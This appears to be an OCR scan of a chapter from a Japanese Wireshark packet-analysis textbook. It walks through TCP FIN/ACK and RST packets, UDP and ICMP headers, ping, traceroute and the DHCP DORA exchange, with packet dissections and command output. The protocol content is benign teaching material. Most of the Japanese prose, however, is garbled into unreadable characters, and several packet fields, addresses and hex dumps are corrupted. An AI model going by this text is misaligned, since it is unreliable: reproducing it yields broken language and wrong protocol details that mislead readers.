(K16-25) 12 H$ % &\ 67.228.110.120 DHEEFAY, FIN/ACK 75 793 v &Nz @/%7 v b -
T TATY Y OB ZRIGL TW2008bH) £9,

i 10.000000 67.228.110.120 172.16.16.128 TCP http > nati-vi-server [FIN, ACK] Seq=822643295 Ack=2079380537 Win=71 Len=0 E‘Eﬂ

[ Frame 1 (oo byces onwire, G byres cpruresy ]
Ethernet II, src: D-Link_21:99:4c (00:05:5d:21:99:4c), Dst: Intelcor_5b:7d:4a (00:21:6a:5b:7d:4a)
Internet Protocol, Src: 67.228.110.120 (67.228.110.120), Dst: 172.16.16.128 (172.16.16.128)
© Transmission Control Protocol, Src Port: http (80), Dst Port: nati-vi-server (3363), Seq: 822643295, Ack: 2079380537, Len: O
Source port: http (80)
Destination port: nati-vi-server (3363)
[stream index: 0]

I Sequence number: 822643295
Ll Acknowledgement number: 2079380537
Ll Header length: 20 bytes
= Flags: 0x11 (FIN, ACK)
O... ... = congestion window Reduced (CWR): NoT set

.0.. .... = ECN-Echo: Not set
urgent: Not set
Acknowledgement: Set
Push: Not set

Reset: Not set
«v.. .0, = Syn: NOU set
scoc cocil = e BEE
window size: 71
Checksum: 0x279b [validation disabled]

(WOMN00 21 6a 5b 7d 4a 00 05 5d 21 99 4c 08 FUS 157 (UG eEs

chailloo 28 be 90 00 00 36 06 343 G oalin TS o
\|00z0 3 Fonbheals ot ali,
siE3l00 47 27 ob 00 00 17 02 H

[6-25 FIN/ACKH T 1 755> DALIE % Btk

SOy MEZIFI A L 17216161281 B L7222 M HEHACK/ S v P TIRE L.
FIN/ACK 7 v &%) 9, 67.228.110.120 0% A D ACKZ %555 &, MBENFETLET, &
CT2OOKBRMOBE T T20T, @EL T 2IIHICTCP Y MY o A 7 2477k}
I EEA,

6.3.5 TCPUtY b

FTRCOIAAZ ¥ aVyDBTCPT AT ¥ Y CIEFIIKR T T 2008 TT, LA LEBICE, a4
7 a v ORROBTHIHEITRIDET, THE, TABEHICEDZR—IAF Y YOI, Hikb
B0 EIANLIRINBE T, I LA RST75 7%ty LAZTCP N7 v Miflibh
T3, RST 75703427 2 avDEROK TR, 24172 a v OFRITOIERZRT2ODLDTT,

tep_refuseconnection.pcap 7 7 f Wid, RSTXr v b2 G AR A Y VT —2 5T 49 7 DO—FIT
Fo MO/ v M, 192.168.100.1 £ 80FR— P THEEL L9 & LTWwA, 192.168.100.138 D b
WPLELNIZLDTT, ZORLHIE, 192.168.100.1%8 CiscoV— 7 TH V., 80F R — M TlEb =)
TWHRWI EZMAN A, CiscoV—F DY, Webf 7 —T7 24 A% R ELEWVERD, 80FKR—
FCaAAr T arzxfib23 2 —CARAELEEA. ZOBERFEORITICH L. 192.168.100.1 1%
192.168.100.138127%7 v b & 3% 0, 80F R — M TIEBAT ARV E ML T T, K6-2613. MfE
ORITVENK T L2Z L Z2RT, 2F/HD/r v FOTCPAY ¥ TF, TORST % v MIIERST
757 EACK7 7 7PDAHIIEM G ENTESTO. THUREILERFEIEHD FEA,

RST/37 v ME, ZOH 7o X ) IHEEOFT ORI TR LN g6, BEDBR TR SN

S
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W, EHLoOLETHBEEZRT SEET,

i 20.001316 192.168.100.1 192.168.100.138 TCP http > tip2 [RST, ACK] Seq=0 Ack=951057940 Win=0 Len=0 Elﬂlg

Frame 2 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: Cisco 4b:c0:7f (00:12:80:4b:c0:7f), Dst: CompalCo_b8:59:bl (00:16:d4:b8:59:b1)
Internet Protocol, Src: 192.168.100.1 (192.168.100.1), Dst: 192.168.100.138 (192.168.100.138)

= Transmission Control Protocol, Src Port: http (80), Dst Port: tip2 (3372), Seq: 0, Ack: 951057940, Len: 0
Source port: http (80)
Destination port: tip2 (3372)
[stream index: 0]
[ Sequence number: O
| Acknowledgement number: 951057940
Header length: 20 bytes
= Flags: Ox14 (RsT, AcK) @
Ocev o = congestion Window Reduced (CWR): Not set
ECN-Echo: Not set
urgent: Not set
Acknowledgement: Set
Push: Not set [
Reset: Set
2200 DoltE Syn: Not set
....... 0 = Fin: Not set
window size: 0
Checksum: 0x21b4 [validation disabled]
[sEqQ/ack analysis]

[
LI I A

B
I

Q00U 0V 1o ¢4 D8 59 D1l 00 12 80U 4D CO /T 08 QU 4> 0O D P S -
0010 00 28 47 b7 00 00 ff 06 2a 3c cO a8 64 01 cO a8
(PP EEGTIE FR00 50 0d 2c 00 00 00 00 38 af e 14 50 14
0030 [ENCREPSSEERGGEL 00 00 00 00 00 OO0

X6-26 RST7IJEACKT7 IV EERT 2M5ES

6.4 UDP

UDP (User Datagram Protocol) 3. TCPDIIRIC Ay T — 27 TILfEibh s HIVDEODE4
Jg7aban Ty, TCPA LT — MM X VEBEEO ST -y ikt HICEKEI S hTws0
WL, UDPiE#ZiEE 2 HWE LTwET, ZO/HUDPIE, XA ML T 4+ — M CTOTF— ¥ ifimik
ZITH0THY, — kI [Axsya>Lx7OraN] ERENET, 237 Y3y LATaL
WiE. TCPONY RY 2 A 7R T AT H I DX ) %, FMIIEDSW/2a AT ¥ a v OMEIRHET %
TVWELA,

UDPIXfRHEMEOBWT—y 2EZ R LIt s a3 L AT AV THS72oH, UDPD |+
74971k EI)EFEZTHRPETELVIIICEZ T T, HEPICZE) LOTTH, EFEDLE I A,
UDP%4li) 7o bavid, BEMEZ T 2-00MEOF - A2 NE L TWz), BHEEOS
Wi T 272D ICMPREREZ o2 LT E T, 722 21387 v FORERRE 2 EHT S
DNS®DHCP &\ 727 U r—vavg7ruabraiid, UDP# 5 Y AR—=Mg7uahape LT
FHLETD, =7 —RIBEFEFIA Y —2MAICHEEL TV ET,

6.41 UDPAw#%
UDPA Y #ix, TCPAY XD BB 0ITNEL T Y TIVTT o UDPAY FDT 4 — )V FIZIRD K
o TnET (K6-27)s

S




6.5 ICMP | 117

AR TR — b
Sy bR DG R — b,

EEAR—b
Ny NOTEE L e DR — 1,
Nry bR
RNy MOREENA MTRLZDD,
Fryv YL
UDPAY ¥ L7 — 7 DONEDN., FIFERFICEEINTOW RN L2 ERT 5701w E T,
UDP
%’él;{ 0-15 16-31
0 EETR—b ZEFER—b
32 Ny b FvoH L

6-27 UDPA vy 4 DiEE

udp_dnsrequest.pcap 7 7 A WVAD7r v MI1DOTT, TD/87 v MIUDP%2fi~72DNSV 7 =
AR T, UDPAYFZFL L, 42D T 4 =V EEHL005b70) 3 (K16-28 ),

P

i 10.000000 192.168.100.138 192.168.100.1 DNS Standard query A wireshark.org

Frame 1 (73 bytes on wire, 73 bytes captured)
Ethernet II, Src: CompalCo_b8:59:b1 (00:16:d4:b8:59:b1), Dst: Cisco_4b:c0:7f (00:12:80:4b:c0:7F)

Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 192.168.100.1 (192.168.100.1)
= User Datagram Protocol, Src Port: polestar (1060), Dst Port: domain (53)

Source port: polestar (1060)

Destination port: domain (53)

Length: 39
checksum: 0x6d5a [validation disabled]

Domain Name System (query)

0010 00 3b 1f 27 00 00 80 11 dl ae cO a8 64 8a c0 a8
0020 o4 01 [ENFFEEEFNNVIFFENCEEEE 18 of 01 00 00 01
0030 00 00 00 00 OO0 00 09 77 69 72 65 73 68 61 72 6b
0040 03 6f 72 67 00 00 O1 00 O1

L

[6-28 UDP/N7y hDHREEFFRICS TV

UDPWE 7T — Y BEDEHEEZ R L W 2 HITBVWTLZES W, Lz >TUDPZEH 7
TV = avid, BEEDSLELRY A, NOTRZRLLENRH T,

6.5 ICMP

ICMP (Internet Control Message Protocol) (&, TCP/IP 2SEi{ES % 726 DAl I 7 B ) % S 72

S
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N8 | 6% HMoTHELVTFETD NI

FT7EIIVT, TCP/IP A v M7 — 7 LOifERd. — YA, KR &M EED &9 22§
HIEMERMELE T AV NI =D TF TN Y a—F4 Y FICHAT AT 7=y 7R — VO REDS,
ICMP A vt —Y %4 7%EM#E LT E§, ICMPIZRFC 792 TEHZR SN TWE T,

6.5.1 ICMPAYy%

ICMPIZIPO—#THY, vt —TYDREICIPEM>TWET, ICMP ANy IR/ XL,
HWIZIE L TEDLY 3, ICMPAY FD 74— VRIZRD EBYTT (R6-29),

247

RECOHEIZFHETL, ICMP A v & — YD ¥ 4 T4,
a—K

REC OHEEIZIHESL, ICMP A v & — YD F 5%,
Fv YL

ZERIZICMPAY L F— Y ONEZIERT 27200 D,
F—%

FATET—FRDT 4 —VRIZES5TED B

ICMP
Sét{ 0-15 16-31
0 817 a—p FLusHLs
32 F—5

X6-29 ICMPAy 4DiE&

6.5.2 ICMPO%AJ&d—R

Bk L7z X912, ICMP 237 v MEBIZZOHMICE > TEDLY [¥A4 7] [a—=F]I DK T 41—
VREOMHEIZE>THREVE T,

YA Tanry "OGHE, I—F2 FTRHAELEEZD LR LNERA, 2L 2IEF A TOMH
A37% 5 [ 55FEARTTHE (Destination Unreachable) | Z SR L £ 4o 2 OEH ST TI P M
WA T, I—FOfAs3, DF ) [K— bEARE (Port Unreachable) ] & b, HlfE
ZRITLTOBR—MIHERDH 2 EHEmOT LI ENTEET,

W N

AN ICMPD % A 7&— ROWENEU X MMTDWTIZE. http://www.iana.org/assign

:‘:‘ . Mments/icmp-parameters @SR LT < ZE L

15N

"

S |
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6.5.3 IJ—EREII—RE

ping I < ¥ P 5B 205, ICMPA AR Z B LR KOEREFS->TIwTLE ),
ping IR M OFHMEOMHERICHVEN T T Z2VTVDITOHEMR L S, pingllHIRA TV
[ G

pingZffi) ik, I~ F7u 7 b Cping <IP7RLZX>E ANLET, <IP7 KLZX>DE%55
. Ay T =2 FOBBOEBEOIPT FL AICHE &2 TLZ2E W, RO IHRE L TBY,
WERIRICHEDS R, T7A T+ = VTHlENR7E Yy 7 SN TwARIFIUL, ping I~ ¥ FIZHd
BIBENH HITTTT,

X 6-30 Tld. &% 4RZITRAZ LI LTBY, ZOH A X, RTT, il SN TTLHFR
ENTVET, pingld, 737 v FOREBEK. ZEH HEBCOWTOMESRMEL TV FE T, @1F
WCRIL 7238, ZOMEEHB LA v =Y 0 TR shEd,

HARMIZ, ping 37 ¥ FIZMTORIR 7 v b2 10K TIREZFOZ LT, RB6-31D LI 1S
ZOW L OB HIR L £ 9,

Bl Administrator: C:\Windows\system32\cmd.exe = | S S

C:\>ping 172.16.16.1

[Pinging 172.16.16.1 with 32 hytes of data:

Reply from 172 .16.16.1: hytes=32 time=3ms TIL=64
Reply from 172.16.16.1: hy 2 time=1ms TIL=64
Reply from 172.16.16.1: bhytes=32 time=1ims TTL=64
Reply from 172.16.16.1: bytes=32 time=3ms TTL=64

Ping statistics for 172.16.16.1:

Packets: Sent = 4, Received = 4, Lost = B {Bx loss>.
fpproximate round trip times in milli—seconds:

Minimum = imz, Haximum = 3ms, Average = Zms

X6-30 #EEMRICAVSh3pingav R

\ I3—/pingER > @
<} I3—/pingieE

X6-31 pinga~>RE2X7y TDH

W N
ping[FEFICHIEDITORBERELE>TVNETH, HTAR—ADT 7 A7 D4 —)b

DERICED. BROGRENIMCEULSEDTECVWET, SHDT 774 —)b
D% BN ICMPIT Yy hADIGEZIELTVDN DT, WEEN pingZED T,
BENDOERMZHER I DITRDELESNDCH. EFaUT A DERNOEFFERFSL
WDTTA BFICAS TN a—FT 42 I0Z2BEULULTULEITVET, HF LB
EHTEDEDD D TVDDICT, EfHHER CpingZZX > CTHREDFOSNENEND
DIF ASATTESNBBDTY,

S
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fiiHL 7 ICMP#IEO—F & LT, EBIZping 2~ ¥ FASE ) BT 5202 R TAFE L X 9Ho icmp_
echo.pcap 7 7 4 VD787 v M, ping # FETT 5 LB D02 RLTVWET,

WDy b (R6-32) 1. R A H192.168.100.138 A%, 192.168.100.112/%%7 v b2 % fF LT 5
ZEERLTVET@, 2075 » FdInternet Control Message Protocol (ICMP) #4% &R L.
Type & Code 7 4 — VK& BAUL, S0/ FOFEEDLHINVE T, O TFNTIIry vy
471380, I—FiZ0O%NDT, TI—FRTHHILERLTVET (Wireshark Tldy 1 7L 3 —
FIZOWTORMHFIRENET), SO — (ping) TRIE, MEOFEFS TT. ZHUIIPE
i) B ICMP 87 v hC, 7= F 3T EAEHFATVERA, ICMP/Y 7 v M2iZ, #47, a—
B, Fxo 73 LNz, BREEEZIZT L7200 =47 v AF 5L, ICMP/Yr v bW RS
2T Y F AT FAMLFHINEGEENRTHET,

;
. 1.0.000000 192.168.100.138 192.168.100.1 ICMP Echo (ping) request [E=S =R

ytes cap )
# Ethernet II, src: compa'lco b8:59:b1 (00:16:d4:b8:59:b1), Dst: Cisco_4b:c0:7f (00:12:80:4b:c0:7f)
= Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 192.168.100.1 (192.168.100.1) o
= Internet Control Message Protocol
© Type: 8 (Echo (ping) request)
M Qcode: 00
W Checksum: 0x145c [correct]
Identifier: 0x0500
sequence number: 13312 (0x3400)
= pata (32 bytes)
Data: 6162636465666768696A6BOCEDOEGF707172737475767761. ..
[Length: 32]

0000
0010
0020
0030
0040

3c fe fd 00 00 80 O1
64 01 08 00 14 5c 05 00 34 00 61 62 63
67 68 69 6a 6b 6c 6d 6e by Gal T W) G
77 61 62 63 64 65 66 67 9

P

[6-32 ICMPIO—ZEXK/\ry

IO—¢pingEWSAER UG URIFFE UEKTCEONETA pingldy—ILOS
MTHDTEEEITHEEL &S0 pinglFICMP T I—BR/ (v MEEDI2WHITE
PNET,

2F B Oy MEL BERICH T 204 TY (R6-33)s 20737 v FOICMP#HG DS 4 71300,
I—FIZ0@OT, TNHRLTI—RETHEILERLTVET, V=T VAFTHPHRAD/Nr v b e
—HLTVEDOTO., ZOTI—BENLONTr Yy hOZ I —FRISHIETEHDTHDHZ EAbh
NEFT. OGNy MaE, Ta—ZRTELNLZDDEHE U2, MOLFHDEFEFNTHE
T@, 192.168.100.138 52 D787 v b ZIFILA L\ ping B2 HE L5 (KiZE DX 6-30),

pingDF —F WG DI A4 X WRL3T LT, Ny bERRLEET, Ay b T =208 FETER
FITNY2a—=T 4 Y JICHATELZLERZTBEE L), WIFLETISRITH A X9VRE
WAY NI = DINT TN 2a—T4 Y ZOBIIE, TN LEELRLPH LT A,

S
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[ 2 0.000776 192.168.100.1 192.168.100.138 ICMP Echo (ping) reply [E=N=

L] yt ytes cap
@ Ethernet II, Src: Cisco_: 4h c0:7f (00:12:80:4b:c0:7f), Dst: CompalCo_b8:59:b1 (00:16:d4:b8:59:b1)
. Internet Protocol, Src: 192.168.100.1 (192.168.100.1), Dst: 192.168.100.138 (192.168.100.138)
= Internet Control Message Protocol
@ type: 0 (Echo (ping) reply)
e code: 0 ()
Checksum: Oxlc5c [correct]

Identifier: 0Ox0500
9 Sequence number: 13312 (0x3400)
B Data (32 bytes)
o Data: 6162636465666768696A6B6CED6OEGF7O7172737475767761. ..
[Length: 32]

4 bE 59
00 3c fe fd 00 00 T 72 e6 cO aB 64
64 8a 00 00 1c 5c 05 00 34 00 61 62 63
67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73
77 61 62 63 64 65 66 67 9

01

4

N

ICMPITO—EXICEFEND T VI LETFAMXFHE, WEEDEKDWNRELD

fs N BEIT. WEHI. COBMICIDIENET DS @Os%xitmégc‘:b\fﬁéb‘
W 5TY, FRBEEDWBOBEFRE LT, TOT =)l RITNSET— 9 EBHIA

DCTEHEETT,

6.5.4 traceroute

tracerouteld. HAHWELHPONNOEIRFE TORBKEFRLDOICHHENFE T, Hiia iy b7 —
7 THNE, FELICEV—=FHB0ED20T, HHVRVEDLRWEAELHLTLL). LLE
Mty bT—=212h5 8, 2y MIREHWIARET 2 T T boN—F 2@ Lzl
NI OBV OT, VT TUPRELZHBEICENEZRITESL L) N7 v FOREER % IEFE I B
FTHIENEELELNFT,

ICMP% i) 2 LT (A LEFIPOMIFZ M) T). tracerouteld/ 7 v M7z &2k 2 22 & 1k
®F 3, icmp_traceroute.pcap 7 7 4 WO IRF D/ v M, I LRIz a—FREDRD XL
TwEd (R6-34)

Eo bk BB E, 2087y Mid, 192.168.100.138 %5 4.2.2.1@~0D, Hiflia T I —ZFROD X9
WCHZET. 287y POICMPHGE, a3 —2R A7y OB E TS5 ELETT, LA LAA
5. ZONXTy bOIPAY FRIEHT 2 L. OEOTHRRMENDH S Z LIZKIUETTT, X7 v b
TTLA 1O, 2 F D IRM DN —F IR T8 v MPHRTAZ e 2 BERLTWET, 56D
4221134 Y7 =2y b7 FLAZOT, HEILELAEDOMIIIRELIEBEDN — 7 HHFFET 5133 T
HY, DFNZONT Y MIFIENEDP RV LR D F3, Eid. tracerouteldT DO/ v M
POV = F TP %R EELI L THREZEHLTNLDT, TNEFE-7KHEBEFEA,

S
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[l 1 0.000000 192.168.100.138 4.2.2.1 ICMP Echo (ping) request o] B e

Frame 1 (106 bytes on wire, 106 bytes captured)
Ethernet II, Src: CompalCo_b&:59:b1 (00:16:d4:b8:59:b1), Dst: Cisco_4b:c0:7f (00:12:80:4b:c0:7f)
= Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 4.2.2.1 (4.2.2.1) 9
version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP Ox00: Default; ECN: 0x00)
Total Length: 92
Identification: 0xffs1 (65361)
Flags: Ox00
Fragment offset: 0
Time to Tive: 1 @
Protocol: ICMP (0x01)
Header checksum: Ox8fla [validation disabled]
Source: 192.168.100.138 (192.168.100.138)
Destination: 4.2.2.1 (4.2.2.1)
= Internet Comntrol Message Protocol
Type: & (Echo (ping) request)
Code: 0 ()
Checksum: Oxbaff [correct]
Identifier: 0x0500
Sequence number: 14336 (0x3800)
Data (64 bytes)

0020 02 01 PERGIEGE 05 00 38 00 00 Q0 00 00 00 00
(WELO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(T N00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[LLT{IN00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(00 00 00 00 00 00 00 00 00 00

4

X6-34 TTLEHX1DICMPII—-ZEXK/Mry b

2HHD Sy NI, PREBIRAOL—F»50RETT (F6-35), 757 v F)3192.168.100.1
DL TEE L 72T, TTLAS0SIR S SNAH 720, 237 v MIINDL BRI N W LI22D,
W—=FIZICMPL ARV A% BLET, 2Oy b5 4 71311@. I —FiZ0@OT, fmkoih
TTTLAREHTIAUC > T L E 57272002, SLICHLE L h o/ L ZEIRL TV E T,

ZOICMP 3% » MIICMPI GO KRIZ, IPAY DI —@QL RO LTI —ERTHESNT
ICMPF— 3 Q% & ATNS72D, [F TN~y 8%y b EIFENSaBH0 3, 2o
NS TNy a—F 4 Y T OBIZIEFICR LD £,

TTLAE1 T8 v "2 HREET A E W) MHED, 7FHOry b E 20V EShET, 7% H
DIy NTHRP DOy bEFAREO Z LB TR ETH, SHIEIP ANy O TTLAEA 2 (2% 2
NTVEDOT, N7y MI2FHOLV - FTHET A LAV T T, FPREBD, 12.180.241.10
V=275, R L) ISEEIERED X vt =V ETTLUNDO X vt =V ESNTE T, wK
W5 TH54.22.11CFETHET, TTLAEZ 15082 LTRSS X 7,

FLwbE, traceroute DI L1, I LICHDLHENV—F RO L, 2T TORKX%E
ERT % &) HDOTT, B6-36705Z DREIEIXI T,

T BRI BEREOMATIE, SOV XD FHATLZ.

S
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2 0.000813 1592.168.100.1 192.168.100.138 ICMP Time-to-live exceeded (Time to live exceeded in transit) l oy | ” = ﬂ

Frame 2 (70 bytes on wire, 70 bytes captured)
® Ethernet II, Src: Cisco_4b:c0:7f (00:12:80:4b:c0:7f), Dst: compalco_b8:59:b1 (00:16:d4:b8:59:b1)
= Internet Protocol, Src: 192.168.100.1 (192.168.100.1), Dst: 1592.168.100.138 (192.168.100.138)
version: 4
Header Tength: 20 bytes
Differentiated Services Field: OxcO (DSCP 0x30: Class Selector 6; ECN: 0x00)
Total Length: 56
Tdentification: O0x491a (18714)
Flags: 0x00
Fragment offset: 0
Time to live: 255
Protocol: ICMP (0x01)
[ Header checksum: 0x280e [validation disabled]
Source: 192.168.100.1 (192.168.100.1)
pestination: 192.168.100.138 (192.168.100.138)
= Internet Control Message Protocol
oType: 11 (Time-to-live exceeded)
Qcode: 0 (Time to live exceeded in transit)
Checksum: 0xf4ff [correct]
G’H Internet Protocol, Src: 192.168.100.138 (192.168.100.138), Dst: 4.2.2.1 (4.2.2.1)
@ Internet control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0 ()
Checksum: Oxbaff [correct]
Identifier: 0x0500
sequence number: 14336 (0x3800)

4
49 1a 00 00 ff 01
ob 00 f4 ff 00 00

Lt | »

01 01 8f 1a cO aB

1

}6-35 RBIBOZIDIL—2HS5DICMP L AR

EX Administrator: CAWindows\system32\cmd exe E‘Eléj

C:~>tracert 4.2.2.1

Tracing route to vnsc—pri s.gtei.net [4.2.2.11
jover a maximum of 38 hops

ns 172.16.16.1

ns 7413 1.dhcp.insightbb.com [74.137.8.11

mns ?4—137-0A-225 _dhep-insighthbh.com [74.137._8.2251
ns 74.128.9.2685

mns cer—edge—13.inet.guwest _net [65.123.182_1531

ns chp—brdr-B83.inet.quwest.net [67.14.8.1941

ns 63.146.27.18

ns ae—11-55.card .Chicagol .Level3.net [4.68.1681.1381]

O LI DD =

9 ns vnsc—pri.sys.gtei.net [4.2.2.11

Trace complete.

C CTIFICMPD#H % {E S WindowsDtraceroutelCDWTEREBLTWE T T, Linux
MDtracerouteldHIAULF T, BREIBFEHROIEFICEFHOTONIIZEFIBTDC
EDTEET,
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AELZBLTRTVEETH, ICMPIZIZHE R EEREH LT, ¥ F U+ Ty Mg %
1o T TICMP % & HITHHEICHV A 2 IR E 9,

RETIE, 7y METO 70 ACTHAET LI LICLATO I VORTREEDOD DO—i %
AL ZE L7ze IP. TCP, UDP, ICMPIZ A&y v7 — 7 5 DRMETH Y, HAx OIEEIZBWTUH
DLDTTo RETIE, 77V —vayBTH->TBE VTR A VIZOWTRTWE TS,
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V4=
HoTHErLWELIEoO M

COETIE FlEEEHcso7TabarolkiEs, TN5O 7T haVH Wireshark TED X 9
KCHRZBZDIZOVWTRTVWEE Y, S2TIEdbo b d— kA birfg (5B788) Yabravthsb
DHCP, DNS, HTTP® 32IZOoWTiHBH L 9

7.1 DHCP

WOy b =27 Tk, &y b7—27 ECEFBZTW2TUE, BEHCTEETT FLAZE Y BT
LUERBHVE LT LELAY VT =D KRTZIZ0N, ZOTFAEEORIII-HEHHEB 2D
DNELBZS>TEET, COMBEEFEIRT 272D SN0, Ay b7 — 712806 L4
HEIRYIZT FL A ZE ) 4 T5BOOTP (Bootstrap Protocol) T¥ o @ HIZBOOTPIZ, XY Phfk &
172 DHCP (Dynamic Host Configuration Protocol) IC&X > TEE#Z SN F L7z,

DHCP &, B2 HEIMICIP7 LA (BXUDNSH— NV — 5 R L ZDOMOELE 24 v b7 —
JIEMOT RV R) #PUGFTE5 L9255, 77V r—2ayE7abancd, 5HODHCPY—
NOIFZEAEER, 2V T =7 DF T3 VI =7 24 RDNSH = DT FL AL Vo7 7 T
A7 ML T E T,

7.1.1 DHCPI\sv hODIEE

DHCP/ 3% v M&, HYUBOEREZ 7 SA 7V ML 9, ®7-1D X912, DHCP /47 v b
WCIELLT D7 4=V EDHY 4,

#~X3—FK (OpCode)
23y MASDHCPER A DHCPIS &0 2 R L ¥

N—=KR71zT732147
N—=FI 277 RFLAD% 47 (10MB A —¥% % b, IEEE 802, ATM %% &),

S
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| 72 moTaErL HETORNIL

N=KI1F7F7RLAEK
N—=F77T7RFLADT FLAE,
Ry TH
DHCPH— O AEZRHY T L —2—TV =V ML T,
[N £77%= D |»)
TR L IRE 2T B0 flib IS 5 v ¥ AT
BanH
2547 ¥ MEDHCPH — N7 FLAZZER L TH S OB,
759
DHCPZ 54 7 VM2 MA NG 749 7 DF A4 T (Z=F v A+, 7U0—=FFyr A %),
J54T7MPFPRLZA
24TV MDIPTRLVA (IPTFLAT A=V ERBEONZH D),
)L TIPPRLR
DHCPH — N2 fli 2Nz IPT7 FL A (R#MICIZZ A T Y MDIPTFL AT 4 — )V K
L FET),
Y—NIPPRKL R
DHCPH#—"®DIP7 FL %,

DHCP
gét{ 0-15 16-31
0 FRa—F N=FIx7847 | \—RIzT7T7RLAE Ry T
32 rSUHH2a D
64 BME 739
9 ISATVRIPTRLA
128 BUHTIP7RLR
160 H—/NIP7RLR
196 =T/ IPTRELR
228 8 ISATVEN=RIIT7T7RLX (1631 1)
H—INVRA LS (6431 F)
T—=b7740 (12831 1)
F7vav

X7-1

DHCP /¥y b

S |
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F—=brI2z14IP7RLZ
A RNT =2 DFTH NI = 24 DIPTFL A,
Vv 2 VAC Ny E b vd N ¢
2547 OMACT KL 2,
UERTAY: P 4 -
P—=INDFRANG (AT av),
T=k77AN
DHCPAfliS 77—+ 774V (XT3 a ),
F7oar
23y b ORERE % Pk L C DHCP DR IR 32 720 L 97

7.1.2 DHCPEHiniE

DHCPOEXRHMIE, HHMILTY 547 Y MITFL A% ENHTSEZ LT, DHCPE#HNIE
1%, dhcp_nolease_renewal.pcap 7 7 A V& B AL bhb L) FFEDZ 547~ & DHCP ¥ —
NIETCEAE L E 9. DHCPHEH L IE, DISCOVER. OFFER. REQUEST, ACKNOWLEDGMENT
(ACK) D 4Fiid> DHCP /3% v b %Al ) 728, DORARLIL L IR T E T (B7-2), ThZho
DORA7 v b2 RTHEL Lo

| DISCOVER

< OFFER

| REQUEST >
DHCPZ S 477> b DHCPH—/\
< ACKNOWLEDGEMENT |

7.1.2.1 DHCP DISCOVER/\sv b

FXTFXTT7ANTHOPD I RO/ v ME0.0.0.0D 68 % K — b A 5 255.255.255.255
DETHRA—INEELNFET, &&00007&0)73)&\7&‘ CDIITAT Y MIUIFELZIPT FLAD
VA STY . /37 v MAT255.255.255.255 2% 5NE5DIE, TOT KL ARy bT— 2 I L7
WT7H—=FFXY XA 7 RLATHY, N7y b5ty 8T =27 EOFTRTOREGGITHEFEIIES LS ITL

X7-2 DHCP DORAKLIE

S |
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TLNBPHTT, #EHZIDHCPHY — D7 FLAZH S WDT, mHAD7 v ME, #5215 T
WA DHCPH— 12 B2 5701250 T,

[Packet Details] XA &R 5&, FTDHCPA 5 v AR—MNg7abanr e LTUDP%fisT
WBHZEIZHRDEE T, DHCPIZZ 94 7 ¥ M ER L1 A2 ZET5 F TOMEZIEHICEN
LCTw5720TY, F72DHCPIZEIHEM % MR T 2B 2 Fo T b720, UDPAS R D TY,
[Packet Details] XA > T D37 v hODHCP+t 7 ¥ 3 ¥ % #~#iE. DISCOVERALEL O #:4
ZRHZENTEET (H7-3),

N

Wireshark(d. IRTECHDHCPZBOOTP & LT > TS e, [Packet Details] XA
R > Tl&. DHCPEZ ¥ a M b(ZBootstrap Protocol T ¥ 3 VIR CTEE I,
U 2L AB TR, TNE)Y Y RODHCPEY Y 3V E LTRVET,

p
[ 1 0.000000 0.0.0.0 255.255.255.255 DHCP DHCP Discover - Transaction ID Ox3d1d B o o [

Frame 1 (314 bytes on wire, 314 bytes captured)
Ethernet II, Src: Grandstr_01:fc:42 (00:0b:82:01:fc:42), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255)
User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)
= Bootstrap Protocol

Message type: Boot Request (1)

Hardware type: Ethernet

Hardware address length: 6

Hops: O

Transaction ID: 0x00003did

seconds elapsed: 0

Bootp flags: 0x0000 (unicast)

Client IP address: 0.0.0.0 (0.0.0.0)
evour (client) IP address: 0.0.0.0 (0.0.0.0)
Next server IP address: 0.0.0.0 (0.0.0.0)
relay agent IP address: 0.0.0.0 (0.0.0.0)

Client MAC address: Grandstr_01:fc:42 (00:0b:82:01:fc:42)
Client hardware address padding: 00000000000000000000
server host name not given
Boot file name not given
Magic cookie: (OK)
option: (t=53,1=1) DHCP Message Type = DHCP Discover e
option: (t=61,1=7) client identifier
option: (t=50,1=4) Requested IP Address = 0.0.0.0
option: (t=55,1=4) Parameter Request List
eEnd option
padding

[(47-3 DHCP DISCOVER/YJ v b

Dy M) I ZANTH D DL, Message type 74— VEB1THAZ EDSDLINETO,
VIZIAMSTy bDIFEALEDT 4 —=VRIE, RiOE2 ¥ aODHCP 74—V FO—EIZHKD X,
(IP7TRLVATZ74—=VEF@DXHIT) AN, BT ChhrbEEICR->TVWET, 2Oy b
PHIZAODF T ar 74—V RIZHYET,

S
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DHCP Message Type
ZHEF T ary 4753 (t=53)] THY, BEL b 1E%-oT0FETO. Thbd
{liiZ DHCP DISCOVER/ ¥ v hCH L Z xR LTWE T,

Client Identifier
IP7RLAZERLTWDEZ 547 ¥ MoV ToBEMEHRZR_EL T,

Requested IP Address
IIAT VI EY SR TEERTHIPTFLAZIRLET GEWIIDAIE-72IP7 FL
Ao

Parameter Request List
7547 Y MBIDHCPH =052 MY 7o ikl (B Ay M7 — 75RO IPT K
l/x) 0)_‘%:‘0

7.1.2.2 DHCP OFFER/\sv b

2EHDNT y FOIPAY FIZIZIEBRDIPT FLAO—ENETNRTED, TD/%7 v bas
192.168.0.12 5 192.168.0. 10 "% 5N TWB I L 2R LTWET (R7-4)0 2547 ¥ M2ldE 72
192.168.0.10 7 FL ADSE Y B THRTWARWDOT, ¥ — N3 T TFARP- SRS 72— F Y =
TTRLAZMSTIIA TV heDMEERITLET, WETELD>BEE, 78— FFx A+
ZITVET,

P
[ 2 0.000295 192.168.0.1 192.168.0.10 DHCP DHCP Offer - Transaction ID 0x3d1d BN E=S | el

Frame 2 (342 bytes on wire, 342 bytes captured)
Ethernet II, sSrc: DellComp_ad:f1:9b (00:08:74:ad:f1:9b), Dst: Grandstr_01:fc:42 (00:0b:82:01:fc:42)
